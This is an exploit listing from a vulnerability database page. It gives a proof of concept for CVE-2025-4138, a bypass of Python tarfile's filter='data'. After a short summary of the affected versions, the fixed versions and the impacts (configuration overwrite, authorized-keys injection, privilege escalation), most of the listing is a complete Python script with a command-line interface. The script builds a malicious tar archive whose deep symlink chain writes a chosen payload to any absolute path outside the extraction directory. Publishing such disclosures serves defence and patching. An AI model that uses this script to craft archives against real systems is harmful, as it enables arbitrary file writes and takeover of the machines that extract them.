Lucene search
K

📄 Python Tarfile Bypass

🗓️ 19 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 145 Views

PoC for CVE-2025-4138: Python tarfile filter data bypass via deep symlink chains to write outside extraction.

Related
Code
=============================================================================================================================================
    | # Title     : Python tarfile filter="data" Bypass via PATH_MAX Symlink Chain                                                              |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
    | # Vendor    : https://www.python.org/                                                                                                     |
    =============================================================================================================================================
    
    [+] Summary    :  This Proof of Concept (PoC) targets CVE-2025-4138, a vulnerability in Python’s built-in tarfile module when extracting archives using filter="data".
                      The issue allows a crafted archive to bypass intended path restrictions by abusing filesystem path length handling and symbolic link resolution.
    
    [+] The attack relies on:
    
    Building a deep symlink chain that approaches the system’s PATH_MAX limit.
    
    Using very long directory names (247 characters each) repeated across multiple nested levels.
    
    Creating carefully structured symbolic links that pivot path resolution outside the intended extraction directory.
    
    Writing an arbitrary file to an absolute attacker-controlled path, escaping the extraction root.
    
    The technique manipulates path normalization and symlink resolution behavior during archive extraction.
    
    [+] Key Characteristics :
    
    Dynamically detects PATH_MAX depending on OS:
    
    Linux (typically 4096)
    
    macOS (typically 1024)
    
    Windows (MAX_PATH 260)
    
    Generates a malicious .tar archive.
    
    Allows custom file permission mode for the payload.
    
    Includes a --check-only mode to test whether the system may be vulnerable without building the archive.
    
    Requires the target file path to be absolute.
    
    [+] Affected Versions :
    
    Python 3.12.0 – 3.12.10
    
    Python 3.13.0 – 3.13.3
    
    [+] Fixed In ;
    
    Python 3.12.11
    
    Python 3.13.4
    
    [+] Impact  :
    
    If a vulnerable system extracts a malicious archive using tarfile with filter="data" and insufficient path validation:
    
    Arbitrary file write outside the intended extraction directory becomes possible.
    
    [+] This may lead to:
    
    Configuration overwrite
    
    Authorized keys injection
    
    Service hijacking
    
    Privilege escalation (depending on execution context)
    
    Impact severity depends on:
    
    The privileges of the extraction process
    
    The writable filesystem locations
    
    Application behavior after extraction
    
    [+] POC : 
    
    #!/usr/bin/env python3
    
    import argparse
    import io
    import os
    import tarfile
    import sys
    
    DIR_LEN = 247
    
    CHARS = "abcdefghijklmnop"
    
    def get_path_max():
        """Determine PATH_MAX based on the operating system"""
        import platform
        system = platform.system()
        if system == "Linux":
            return 4096
        elif system == "Darwin":  
            return 1024
        elif system == "Windows":
            return 260 
        else:
            return 4096  
    
    def build_tar(tar_path, target_file, payload, mode):
    
        if not os.path.isabs(target_file):
            raise ValueError(f"Target path must be absolute: {target_file}")
        
        target_dir = os.path.dirname(target_file)
        target_name = os.path.basename(target_file)
     
        if not target_name:
            raise ValueError(f"Target file has no basename: {target_file}")
        
        long_dir = "d" * DIR_LEN  
        path_max = get_path_max()
        
        print(f"[*] PATH_MAX detected: {path_max}")
        print(f"[*] Chain length: {len(CHARS) * DIR_LEN} bytes")
        
        if len(CHARS) * DIR_LEN >= path_max:
            print(f"[!] Warning: Chain length may exceed PATH_MAX on this system")
    
        with tarfile.open(tar_path, "w") as tar:
            prefix = ""
            for i, char in enumerate(CHARS):
    
                d = tarfile.TarInfo(os.path.join(prefix, long_dir))
                d.type = tarfile.DIRTYPE
                d.mode = 0o755  
                d.uid = 0
                d.gid = 0
                d.uname = "root"
                d.gname = "root"
                tar.addfile(d)
    
                s = tarfile.TarInfo(os.path.join(prefix, char))
                s.type = tarfile.SYMTYPE
                s.linkname = long_dir
                s.mode = 0o777  
                s.size = 0   
                s.uid = 0
                s.gid = 0
                tar.addfile(s)
    
                prefix = os.path.join(prefix, long_dir)
    
            short_chain = "/".join(CHARS)  # "a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p"
            pivot_name = os.path.join(short_chain, "l" * 254)
            pivot = tarfile.TarInfo(pivot_name)
            pivot.type = tarfile.SYMTYPE
            pivot.linkname = "../" * len(CHARS) 
            pivot.mode = 0o777
            pivot.size = 0
            pivot.uid = 0
            pivot.gid = 0
            tar.addfile(pivot)
    
            escape_name = "escape"
            escape = tarfile.TarInfo(escape_name)
            escape.type = tarfile.SYMTYPE
    
            dir_count = len(CHARS) + 1  
            target_dir_clean = target_dir.lstrip('/')
            if target_dir_clean:
                escape.linkname = pivot_name + "/" + ("../" * dir_count) + target_dir_clean
            else:
                escape.linkname = pivot_name + "/" + ("../" * dir_count)
            
            escape.mode = 0o777
            escape.size = 0
            escape.uid = 0
            escape.gid = 0
            tar.addfile(escape)
    
            f = tarfile.TarInfo(f"{escape_name}/{target_name}")
            f.type = tarfile.REGTYPE
            f.size = len(payload)
            f.mode = mode
            f.uid = 0
            f.gid = 0
            f.uname = "root"
            f.gname = "root"
            
            print(f"[*] Adding payload: {f.name} -> {target_file}")
            print(f"[*] Payload size: {f.size} bytes")
            print(f"[*] File mode: {oct(f.mode)}")
            
            tar.addfile(f, io.BytesIO(payload))
        
        print(f"[+] Malicious tar created: {tar_path}")
    
    def main():
        p = argparse.ArgumentParser(description="CVE-2025-4138 tarfile filter bypass")
        p.add_argument("-o", "--output", required=True, help="output tar path")
        p.add_argument("-t", "--target", required=True, help="absolute path to write to on target")
        p.add_argument("-p", "--payload", required=True, help="File to use as a payload")
        p.add_argument("-m", "--mode", required=False, default="0644", help="Set file permissions (default: 0644)")
        p.add_argument("--check-only", action="store_true", help="Only check if target is vulnerable")
    
        args = p.parse_args()
    
        if not os.path.isabs(args.target):
            print(f"[-] Error: Target path must be absolute: {args.target}")
            sys.exit(1)
        
        payload_path = os.path.expanduser(args.payload)
        
        if not os.path.exists(payload_path):
            print(f"[-] Payload file not found: {payload_path}")
            sys.exit(1)
        
        with open(payload_path, "rb") as fh:
            payload = fh.read()
    
        if not payload.endswith(b"\n"):
            payload += b"\n"
        
        if args.check_only:
            print("[*] Checking system vulnerability...")
            path_max = get_path_max()
            chain_length = len(CHARS) * DIR_LEN
            print(f"[*] PATH_MAX: {path_max}")
            print(f"[*] Chain length: {chain_length}")
            
            if chain_length < path_max:
                print("[+] System appears vulnerable (chain length < PATH_MAX)")
            else:
                print("[-] System may not be vulnerable (chain length >= PATH_MAX)")
            return
        
        try:
            build_tar(args.output, args.target, payload, int(args.mode, 8))
        except Exception as e:
            print(f"[-] Error: {e}")
            sys.exit(1)
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :======================================================================
    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
    ====================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Feb 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.17.5
EPSS0.00273
SSVC
145